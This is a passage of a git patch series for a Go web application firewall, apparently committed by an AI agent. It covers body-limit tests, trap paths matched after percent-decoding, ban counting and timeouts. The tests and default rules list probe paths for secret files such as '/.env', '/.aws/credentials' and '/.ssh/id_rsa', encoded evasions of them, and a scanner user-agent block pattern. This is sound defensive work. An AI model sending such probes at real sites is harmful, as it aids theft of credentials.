:= "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" + pad := field("pad", strings.Repeat("a", bodyLimit)) + + for _, tc := range []struct{ header, head string }{ + {multipart + "; boundary=c", ""}, + {multipart, noColon}, + } { + body = tc.head + field("q", injection) + end + wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body) + + body = tc.head + field("q", injection) + pad + end + wantBody(t, crs, post(tc.header), body, matched(900440, 900450), + body[:bodyLimit+1]) + } +} + +func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { + t.Parallel() + + // The limit falls in the middle of the name of the second part's + // header, which Coraza, reading up to the limit, cannot tell from a + // header without a colon. + cut := "--b\r\nContent-Di" + first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut))) + body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end + + wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450), + body[:bodyLimit+1]) +} + +func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r" + + // The limit falls between the carriage return and the line feed that + // end the second part's header line, and then between those that end + // the empty line after it. Coraza, reading up to the limit, takes the + // line ending in a lone carriage return for a malformed header. + for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { + first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut)) + body := first + field("q", "1") + end + + wantBody(t, crs, post(multipart), body, matched(900440, 900450), + body[:bodyLimit+1]) + } +} + +// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the +// system's temporary directory, for the whole test process. +func TestCorazaWritesNoFile(t *testing.T) { + // The system's temporary directory is one that does not exist, so that + // Coraza could write nothing there: built without no_fs_access, it + // refuses to load, and could not write a file of a multipart body. + t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing")) + + body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" + + strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end + wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body) +} + +func TestBodyLimitOf1GLoads(t *testing.T) { + t.Parallel() + + _, err := waf.New(waf.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}) + if err != nil { + t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) + } +} diff --git a/script/build b/script/build index 94bd69c..0f2f02c 100755 --- a/script/build +++ b/script/build @@ -1,7 +1,7 @@ #!/bin/sh # script/build: build bin/smallwebwaf on the host, with Go installed, for # working on the code by hand. The version it reports comes from git, as -# in script/docker. +# in script/docker, and the no_fs_access tag is the Dockerfile's. set -eu SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" @@ -11,7 +11,7 @@ main() { cd "$ROOT" version="$(git describe --tags --always --dirty 2>/dev/null || true)" [ -n "$version" ] || version="unknown" - go build -trimpath -ldflags "-X main.Version=$version" \ + go build -tags no_fs_access -trimpath -ldflags "-X main.Version=$version" \ -o bin/smallwebwaf ./cmd/smallwebwaf } From 27f0007b542434e0c6f80e92b9a2dce1fe626098 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 14 Oct 2026 18:20:31 +0200 Subject: [PATCH 50/64] Path rules and trap paths match the path decoded once too (closes #85) A path rule matched only the path as the client sent it, so /%2eenv got past the default env-file rule while an app that decodes the path serves /.env. A path rule now matches the path as sent or decoded once, as a uri rule already did, and so does a path in SWWAF_TRAP_PATHS: /%77p-login.php matches /wp-login.php. The query is cut off before the path is decoded, and the path is decoded only once, so /%252eenv is not /.env. A ban's notes keep the path as sent. SPEC.md and README.md say so. Model: opus-5-5 --- README.md | 32 ++++++++++++------------ SPEC.md | 3 ++- internal/bans/bans.go | 3 ++- internal/config/config.go | 3 ++- internal/proxy/rules.go | 12 +++++---- internal/proxy/trappaths_test.go | 23 ++++++++++++++--- internal/rules/rules.go | 42 ++++++++++++++++++++------------ internal/rules/rules_test.go | 6 +++-- 8 files changed, 79 insertions(+), 45 deletions(-) diff --git a/README.md b/README.md index 95e62e2..3d706dc 100644 --- a/README.md +++ b/README.md @@ -197,11 +197,12 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of rate limits and before the rule files, which it does not need. A request for one is refused with `SWWAF_BAN_RESPONSE` and bans the client's netblock for a clear sign of attack, as a `ban` rule's match does. A trap path is matched - against the path a `path` rule sees: as the client sent it, before any - decoding and without the query, the whole of it, character for character. - `/wp-login.php` matches `/wp-login.php?redirect_to=x`, but not - `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or `/%77p-login.php`. - A client in `SWWAF_ALLOW_NETS` is not checked. + against the path a `path` rule sees: without the query, as the client sent it + and once percent-decoded, the whole of it, character for character. + `/wp-login.php` matches `/wp-login.php?redirect_to=x` and `/%77p-login.php`, + but not `/wp-login.php/`, `/WP-LOGIN.PHP`, `/blog/wp-login.php` or + `/%2577p-login.php`. The ban's notes give the path as the client sent it. A + client in `SWWAF_ALLOW_NETS` is not checked. - Inspects each request with the OWASP Core Rule Set 4.25.0, run by Coraza, after the rule files, unless `SWWAF_WAF_MODE` is `off`: its method, its URL with the query, and its headers, and, once `SWWAF_WAF_BODY_LIMIT` is set, its @@ -741,8 +742,8 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a request for one bans its client for a clear sign of attack, as a `ban` rule does, with or without rule files (see "What it does so far" above). A path - that does not start with `/`, or holds a `?`, which no path a `path` rule sees - holds, stops the start. + that does not start with `/`, or holds a `?`, as one written with a query + does, stops the start. - `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in a minute that `smallwebwaf` may refuse after a rule file match, a trap path or a Core Rule Set match, or for a missing or wrong token; one more breaks the @@ -1522,14 +1523,15 @@ scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b - The id is letters, digits, `-` and `_`, and no two rules share one. The request log, the metrics and a ban's notes name the rule by it. -- The target is what the regex is matched against: `path` or `query`, as the - client sent it, before any decoding; `uri`, the path and the query together, - both as sent and once percent-decoded, so that an encoded probe does not slip - past; `method`; `host`; `user_agent`; `referer`; or `header:`, any one - request header but `Host` and `Transfer-Encoding`, which Go's HTTP server - takes out of every request; the request's host is the target `host`. A header - sent more than once is matched with its values joined by `, `, and one not - sent as empty text. No body is read. +- The target is what the regex is matched against: `path`, the path without the + query, and `uri`, the path and the query together, each both as sent and once + percent-decoded, so that an encoded probe does not slip past; `query`, as the + client sent it, before any decoding; `method`; `host`; `user_agent`; + `referer`; or `header:`, any one request header but `Host` and + `Transfer-Encoding`, which Go's HTTP server takes out of every request; the + request's host is the target `host`. A header sent more than once is matched + with its values joined by `, `, and one not sent as empty text. No body is + read. - The action is `log`, `block` or `ban` (see "What it does so far" above). Keep `ban` for requests no real visitor sends, and anchor a path at the site root with `^/`: a file of the same name deeper in a site can be ordinary content, diff --git a/SPEC.md b/SPEC.md index 3751ee5..c6e8fb3 100644 --- a/SPEC.md +++ b/SPEC.md @@ -825,7 +825,8 @@ a file edited, added or removed there takes effect while it runs. - `id`: a short name of letters, digits, `-` and `_`, unique across all files. It appears in the request log, metrics, alerts and ban notes. - `target`: what the regex is matched against. - - `path`: the URL path as received, before any decoding. + - `path`: the URL path without the query, both as received and once + percent-decoded, so an encoded probe cannot slip past. - `query`: the raw query string. - `uri`: path and query together, both as received and once percent-decoded, so an encoded probe cannot slip past. diff --git a/internal/bans/bans.go b/internal/bans/bans.go index e67ea08..c07b52f 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -123,7 +123,8 @@ type Notes struct { LimitPercentSetting string `json:"limit_percent_setting,omitempty"` // RuleID and Target are, for a ban for a clear sign of attack, the id // of the rule file rule that matched, and its target; TrapPath is, for - // one for a request for a path in SWWAF_TRAP_PATHS, that path. + // one for a request for a path in SWWAF_TRAP_PATHS, that path as the + // client sent it. RuleID string `json:"rule_id,omitempty"` Target string `json:"target,omitempty"` TrapPath string `json:"trap_path,omitempty"` diff --git a/internal/config/config.go b/internal/config/config.go index bfc90f3..c86de80 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -1665,7 +1665,8 @@ func parsePathPrefixes(value string) ([]string, error) { // parseTrapPaths reads a comma-separated list of trap paths. Each is // matched against a request's path as a path rule is, without the query, -// so a path that does not start with / or holds a ? would never match. +// so a path that does not start with / would never match, and one that +// holds a ? is written with a query. func parseTrapPaths(value string) ([]string, error) { paths, err := parseList(value) if err != nil { diff --git a/internal/proxy/rules.go b/internal/proxy/rules.go index 3ac50d8..9b11f7d 100644 --- a/internal/proxy/rules.go +++ b/internal/proxy/rules.go @@ -10,13 +10,15 @@ import ( ) // trapPath reports whether the request asks for a path in -// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding -// and without the query, is one of them. Such a request is a clear sign of -// attack, as a ban rule's match is: it bans the client's netblock, or in -// observe mode raises the alert for the ban it would have made. +// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query, +// as sent or once percent-decoded, is one of them. Such a request is a +// clear sign of attack, as a ban rule's match is: it bans the client's +// netblock, or in observe mode raises the alert for the ban it would have +// made. The ban's notes give the path as sent. func (rq *request) trapPath(now time.Time) bool { path := rules.Path(rq.in) - if !slices.Contains(rq.h.config.TrapPaths, path) { + if !slices.Contains(rq.h.config.TrapPaths, path) && + !slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) { return false } diff --git a/internal/proxy/trappaths_test.go b/internal/proxy/trappaths_test.go index 1bafd0b..f8b1952 100644 --- a/internal/proxy/trappaths_test.go +++ b/internal/proxy/trappaths_test.go @@ -32,10 +32,9 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) { }) start := clk.Now() - // Only the path itself, as the client sent it, is a trap path. - for _, path := range []string{ - "/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php", - } { + // Only the path itself, the whole of it in the same case, is a trap + // path. + for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} { s.request(otherClient, path, http.StatusOK, requestlog.ActionForward) } @@ -84,6 +83,22 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) { } } +func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList}) + + // %2577 decodes once to %77, not to w. + s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward) + s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned) + + // The ban's notes give the path as the client sent it. + got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) + if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" { + t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got) + } +} + func TestTrapPathsNeedNoRuleFiles(t *testing.T) { t.Parallel() diff --git a/internal/rules/rules.go b/internal/rules/rules.go index f0de5b2..ba024ab 100644 --- a/internal/rules/rules.go +++ b/internal/rules/rules.go @@ -50,6 +50,13 @@ const quietTime = 2 * time.Second // header:. const headerTarget = "header:" +// pathTarget and uriTarget are the targets matched both as received and +// once percent-decoded: the path, and the path and query together. +const ( + pathTarget = "path" + uriTarget = "uri" +) + // escapeLength is the length of a percent escape, such as %2e. const escapeLength = 3 @@ -374,7 +381,7 @@ func parse(line string) (Rule, bool, error) { // isTarget reports whether target is one a rule may have. func isTarget(target string) bool { switch target { - case "path", "query", "uri", "method", "host", "user_agent", "referer": + case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer": return true } @@ -384,35 +391,38 @@ func isTarget(target string) bool { } // matches reports whether the rule's regex matches its target in r. For -// uri it is matched against the path and query as received, and against -// them once percent-decoded, so that an encoded probe cannot slip past. +// path and uri it is matched against the target as received, and against +// it once percent-decoded, so that an encoded probe cannot slip past. func (rule Rule) matches(r *http.Request) bool { - if rule.Target == "uri" { - uri := pathAndQuery(r) + target := value(rule.Target, r) - return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri)) + if rule.Target == pathTarget || rule.Target == uriTarget { + return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target)) } - return rule.regex.MatchString(value(rule.Target, r)) + return rule.regex.MatchString(target) } // Path returns r's path as the client sent it, before any decoding or -// re-encoding, up to the first ?: what a path rule is matched against. +// re-encoding, up to the first ?: what a path rule is matched against, as +// it is and once percent-decoded. func Path(r *http.Request) string { path, _, _ := strings.Cut(pathAndQuery(r), "?") return path } -// value returns what a rule with target, other than uri, is matched -// against in r: the path, as Path gives it, and the query as the client -// sent it, before any decoding or re-encoding, after the first ?, and a -// header's values joined by ", ", as HTTP joins those of a header sent -// more than once. +// value returns what a rule with target is matched against in r: the +// path, as Path gives it, the path and query, as pathAndQuery gives +// them, and the query as the client sent it, before any decoding or +// re-encoding, after the first ?, and a header's values joined by ", ", +// as HTTP joins those of a header sent more than once. func value(target string, r *http.Request) string { switch target { - case "path": + case pathTarget: return Path(r) + case uriTarget: + return pathAndQuery(r) case "query": _, query, _ := strings.Cut(pathAndQuery(r), "?") @@ -464,11 +474,11 @@ func header(r *http.Request, name string) string { return strings.Join(r.Header.Values(name), ", ") } -// decodeOnce returns s with each percent escape, such as %2e, replaced by +// DecodeOnce returns s with each percent escape, such as %2e, replaced by // the byte it stands for. A % that is not followed by two hex digits is // left as it is, so that a malformed escape cannot keep the rest of s // from being decoded. -func decodeOnce(s string) string { +func DecodeOnce(s string) string { var decoded strings.Builder for i := 0; i < len(s); i++ { diff --git a/internal/rules/rules_test.go b/internal/rules/rules_test.go index 31a426e..43d8956 100644 --- a/internal/rules/rules_test.go +++ b/internal/rules/rules_test.go @@ -49,7 +49,9 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) { want bool }{ {"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true}, - {"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false}, + {"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true}, + {"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false}, + {"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true}, {"path without the query", `path log ^/a$`, "/a?b=c", nil, true}, {"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true}, {"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true}, @@ -418,7 +420,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) { // Probes sent by a browser, by the rule that refuses them. for rule, targets := range map[string][]string{ - "env-file": {"/.env", "/.env.production", "/.ENV"}, + "env-file": {"/.env", "/.env.production", "/.ENV", "/%2eenv"}, "vcs-dir": {"/.git/config", "/.git", "/.svn/entries"}, "secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"}, "secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"}, From 7a9471df284d2333019acf70e378a90515a13c53 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 14 Oct 2026 19:41:54 +0200 Subject: [PATCH 51/64] A request that waited for its lookup is counted when it goes on (closes #129) checkClient read the time before the lookup, which can wait for GeoJS up to SWWAF_LOOKUP_TIMEOUT, and the rate limits counted the request at that time. Two requests of a new client waiting across the end of a minute could then be counted out of order, and the one dated more than a second before the minute under way began made the rate limits start that window afresh, as for a clock set back: the other request's count was lost. The checks after the lookup now read the time again. Model: opus-5-5 --- internal/proxy/lookup_test.go | 69 +++++++++++++++++++++++++++++++++++ internal/proxy/request.go | 6 +++ 2 files changed, 75 insertions(+) diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go index 5ba1094..695c657 100644 --- a/internal/proxy/lookup_test.go +++ b/internal/proxy/lookup_test.go @@ -86,6 +86,75 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) } } +func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) { + t.Parallel() + + // The country list has a new client's request wait for its answer, + // which the stand-in for GeoJS gives only once released. + geojsURL, asked, release := startHeldGeoJS(t) + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)} + addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, + map[string]string{ + trustedProxies: trustLocalhost, + lookupTimeout: "1h", + deniedCountries: "kp", + }) + + requestFromDE := func() *http.Request { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, fromDE) + + return req + } + + // fromDE's first request arrives two seconds before a minute ends, + // and waits for GeoJS. + first, httpClient := requestFromDE(), newClient(t) + firstEnded := make(chan error, 1) + + go func() { + res, err := httpClient.Do(first) + if err == nil { + err = readAnswer(res).err + } + + firstEnded <- err + }() + + waitUntil(func() bool { return len(asked()) == 1 }) + + // Half a second into the next minute, the answer is kept, as an edit + // of lookups.json would keep it, while the first request still waits + // for GeoJS. The second request goes on at once, and is counted. + clk.advance(2500 * time.Millisecond) + server.GeoJS.Load([]lookup.Answer{{ + Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE, + Country: "DE", Answered: clk.Now(), Used: clk.Now(), + }}) + wantStatus(t, do(t, requestFromDE()), http.StatusOK) + + // GeoJS answers, and the first request goes on. + release() + + err := <-firstEnded + if err != nil { + t.Fatalf("first request: %v", err) + } + + wantLine(t, out.requestLines(t, 2)[1], http.StatusOK, requestlog.ActionForward) + + // The third request's count holds all three: the first was counted + // when it went on, in the minute under way, and the second's count + // was kept. + clk.advance(500 * time.Millisecond) + wantStatus(t, do(t, requestFromDE()), http.StatusOK) + + if got := out.requestLines(t, 3)[2].Counts.Minute; got != 3 { + t.Errorf("the third request's count in the minute is %v, want 3", got) + } +} + func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) { t.Parallel() diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 1b60d07..b4d32fc 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -261,6 +261,12 @@ func (rq *request) checkClient(ctx context.Context) string { rq.lookUp(ctx) + // The lookup can wait for GeoJS, so the checks after it read the time + // again: a request counted at the time it arrived could be counted + // after a later one of its client's, which the rate limits would take + // for the clock set back. + now = rq.h.now() + if rq.countryDenied() { return requestlog.ActionCountryDenied } From 157cdc23f3255e9172364d28d838adfeb614e8ba Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 20 Oct 2026 11:37:58 +0200 Subject: [PATCH 52/64] The image build rides out a brief 503 from Ubuntu's snapshot server (closes #132) Both apt-get calls in the Dockerfile now pass -o Acquire::Retries=5. apt already retries a download that fails with 503 three times, waiting 1, 2 and 4 seconds, which a short outage of the snapshot service outlasted; five retries wait about half a minute in all. Model: opus-5-5 --- Dockerfile | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 0cb913c..fc2c64c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -140,10 +140,14 @@ RUN mkdir /etc/sysusers.d \ # apt also fetches the live archive's InRelease files, which change daily # and which the install does not use. The snapshot service is HTTPS only # and this image has no CA certificates yet, so this step uses the Go -# image's. +# image's. The snapshot service answers 503 at times; apt retries a +# failed download, waiting twice as long before each retry, and this +# step gives it five retries, about half a minute in all, where its +# default of three gives up after seven seconds. RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \ apt-get update --snapshot 20261001T000000Z \ -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \ + -o Acquire::Retries=5 \ && printf '%s\n' \ '45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \ '802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \ @@ -153,6 +157,7 @@ RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,tar && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ --snapshot 20261001T000000Z \ -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \ + -o Acquire::Retries=5 \ ca-certificates nix-bin runit \ && rm -rf /var/lib/apt/lists/* From 6327f7f9c56008a7be66e6f975695047ffa8a122 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 20 Oct 2026 11:47:14 +0200 Subject: [PATCH 53/64] A client that stops sending after the app answers is timed out (closes #130) When the app answered before the client had sent its whole body, and its answer ended with its last bytes, every timeout was stopped, SWWAF_CLIENT_REQUEST_TIMEOUT included. The transport went on waiting to read the body, and Go's server cannot send the answer until that read returns, so a client that stopped sending held the request until it closed the connection. The timeouts now run on until the client has sent its body, as they do before the app answers: once SWWAF_CLIENT_REQUEST_TIMEOUT runs out the client is sent the app's answer, the connection is closed, and the log line says timed_out. Model: opus-5-5 --- internal/proxy/request.go | 12 +++++++- internal/proxy/timeouts_test.go | 54 +++++++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+), 1 deletion(-) diff --git a/internal/proxy/request.go b/internal/proxy/request.go index b4d32fc..5eedc12 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -795,9 +795,19 @@ func (rq *request) responseTimedOut() { } } -// responseReceived is called once the app has sent its whole answer. +// responseReceived is called once the app has sent its whole answer. An +// app may answer before the client has sent its whole body, as with a 404 +// it sends without reading it. The timeouts then run on: until the +// transport's read of the body returns, Go's server cannot send the +// answer, and SWWAF_CLIENT_REQUEST_TIMEOUT is what ends that read for a +// client that stops sending. func (rq *request) responseReceived() { rq.complete = true + + if rq.body != nil && !rq.body.received.Load() { + return + } + rq.stopTimers() } diff --git a/internal/proxy/timeouts_test.go b/internal/proxy/timeouts_test.go index dab7791..ff00c8c 100644 --- a/internal/proxy/timeouts_test.go +++ b/internal/proxy/timeouts_test.go @@ -194,6 +194,60 @@ func sendLargeBody(t *testing.T, addr string) net.Conn { return conn } +func TestClientStopsSendingAfterTheAppHasAnswered(t *testing.T) { + t.Parallel() + + // answeredAt is when the app answered, or nil if the bytes the client + // sent never reached it. + var answeredAt atomic.Pointer[time.Time] + + // The app answers without reading the whole body, as an app does for + // a path it does not serve, and only once smallwebwaf waits for the + // rest of it: the app takes the bytes the client sent, and then waits + // half the timeout, far longer than smallwebwaf takes to go on to + // wait. + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _, err := io.ReadFull(r.Body, make([]byte, len("the first bytes"))) + if err != nil { + return + } + + time.Sleep(shortTimeout / 2) + answeredAt.Store(new(time.Now())) + http.NotFound(w, r) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + clientRequestTimeout: shortTimeoutSetting, + metricsToken: token, + }) + + start := time.Now() + got := readResponse(t, sendPartOfBody(t, addr)) + wantTimedOut(t, start) + + // Close returns once the app has finished with the request. + app.Close() + + // The app's answer came before the time ran out, so the client is + // sent that answer, not smallwebwaf's 408. Only a hold-up of the test + // process can make it come later, and SPEC.md then asks for 408, as + // smallwebwaf was waiting for the client, or for 504 if the bytes the + // client sent had not reached the app. + at := answeredAt.Load() + want := http.StatusNotFound + + switch { + case at == nil: + want = http.StatusGatewayTimeout + case at.Sub(start) >= shortTimeout: + want = http.StatusRequestTimeout + } + + wantStatus(t, got, want) + wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut) + wantLimitHits(t, addr, clientRequestTimeout, 1) +} + func TestAppTooSlowToAnswer(t *testing.T) { t.Parallel() From 47aac0235d90061bea8d9192c9b3dd24ae3644d3 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 20 Oct 2026 12:59:52 +0200 Subject: [PATCH 54/64] A ban's earlier_bans counts a ban dropped after an admin's ban (closes #128) earlierBans took the counts in the notes of the netblock's first ban held, so a ban dropped after an admin's ban, which came first, went uncounted. Each ban held now gives a count, its notes' counts plus one for it and each ban held after it, and the count that names the most bans is taken whole. Counting from the newest ban alone would lose the bans before an admin's ban added to bans.json without notes; taking each cause from a different count would count twice a ban an admin keeps, which later bans' notes count under its old cause. Model: opus-5-5 --- internal/bans/admin_test.go | 53 +++++++++++++++++++++++++++++++++++++ internal/bans/bans.go | 45 ++++++++++++++++++++++++------- 2 files changed, 88 insertions(+), 10 deletions(-) diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index d919772..4393f6c 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -61,6 +61,59 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) { wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1}) } +func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { + t.Parallel() + + rules := defaultRules() + rules.MaxBans = 2 + ledger := bans.New(rules) + netblock := netip.MustParsePrefix("203.0.113.1/32") + other := netip.MustParsePrefix("203.0.113.2/32") + + // An admin bans the netblock for a minute, and it then breaks a limit + // twice, each time after its last ban has ended. + ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), + "probes for logins") + first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) + + // A ban on another netblock fills the ledger, and the netblock's first + // ban for a limit, its earliest that is not an admin's, goes. + ledger.BanForLimit(other, second.Start, bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1}) + + // The netblock's next ban still counts it. + third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{}) + if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) { + t.Errorf("the third ban for a limit has earlier bans %+v, "+ + "want 2 for a limit and 1 an admin's", third.Notes.EarlierBans) + } +} + +func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.1/32") + + // The netblock breaks a limit twice, the second time after its first + // ban has ended, and the second ban's notes count the first. An admin + // then keeps the first ban. + first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) + + kept := first + kept.Cause = bans.CauseAdmin + ledger.LoadEdit([]bans.Ban{kept, second}) + + // The netblock's next ban counts the kept ban once, as an admin's. + third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{}) + if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) { + t.Errorf("the third ban for a limit has earlier bans %+v, "+ + "want 1 for a limit and 1 an admin's", third.Notes.EarlierBans) + } +} + func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { t.Parallel() diff --git a/internal/bans/bans.go b/internal/bans/bans.go index c07b52f..e3848d8 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -687,26 +687,51 @@ func (l *Ledger) ban( } // earlierBans returns how many bans a netblock with the bans held, oldest -// first, has had, by cause: the first ban held counts the bans the -// netblock had before that one, since dropped to make room, and each ban -// held adds one. +// first, has had, by cause. Each ban held gives a count: the bans its +// notes count before it, and one for it and each ban held after it. A +// ban's count misses a ban dropped after it to make room, and that of an +// admin's ban added to bans.json without notes misses the bans before it, +// so the count that names the most bans is taken, whole: a ban an admin +// keeps by giving it CauseAdmin is still counted under its old cause in +// later bans' notes, and taking each cause from another count would count +// it twice. func earlierBans(held []Ban) EarlierBans { - earlier := held[0].Notes.EarlierBans + // fromHere counts ban and the bans held after it. + var most, fromHere EarlierBans - for _, ban := range held { + for _, ban := range slices.Backward(held) { switch ban.Cause { case CauseLimit: - earlier.Limit++ + fromHere.Limit++ case CauseAttack: - earlier.Attack++ + fromHere.Attack++ case CauseAdmin: - earlier.Admin++ + fromHere.Admin++ case CauseCrowdSec: - earlier.CrowdSec++ + fromHere.CrowdSec++ + } + + notes := ban.Notes.EarlierBans + count := EarlierBans{ + Limit: notes.Limit + fromHere.Limit, + Attack: notes.Attack + fromHere.Attack, + Admin: notes.Admin + fromHere.Admin, + CrowdSec: notes.CrowdSec + fromHere.CrowdSec, + } + + // Of counts that name as many bans, the earlier ban's is taken: it + // counts more of the bans held by the cause they have now. + if count.total() >= most.total() { + most = count } } - return earlier + return most +} + +// total returns how many bans e counts, of all causes. +func (e EarlierBans) total() int { + return e.Limit + e.Attack + e.Admin + e.CrowdSec } // markChanged has Changed receive a value, unless one is waiting already. From 60c49a6740e6f640c1605fea76c4e8287b3f6081 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 20 Oct 2026 13:39:05 +0200 Subject: [PATCH 55/64] script/gitea-requests, and the gitea refusals it confirms named in SPEC.md (closes #30) script/gitea-requests runs gitea 1.27.3 behind the image at its defaults, sends through it the requests that reading gitea's source found the Core Rule Set refuses, with a short sample of ordinary use, and prints each request with the rule ids that matched it. make gitea-requests runs it; make check does not. Every case still holds, and each fix would let through what SPEC.md says stays refused, so the notes specific to gitea now name them with how each refusal plays out: file names in query parameters that read as Java, script, PowerShell or SQL, such paths, and an image push that reuses a layer of an image named like a command. Model: opus-5-5 --- Makefile | 8 +- README.md | 21 +++ SPEC.md | 56 ++++++- script/gitea-requests | 335 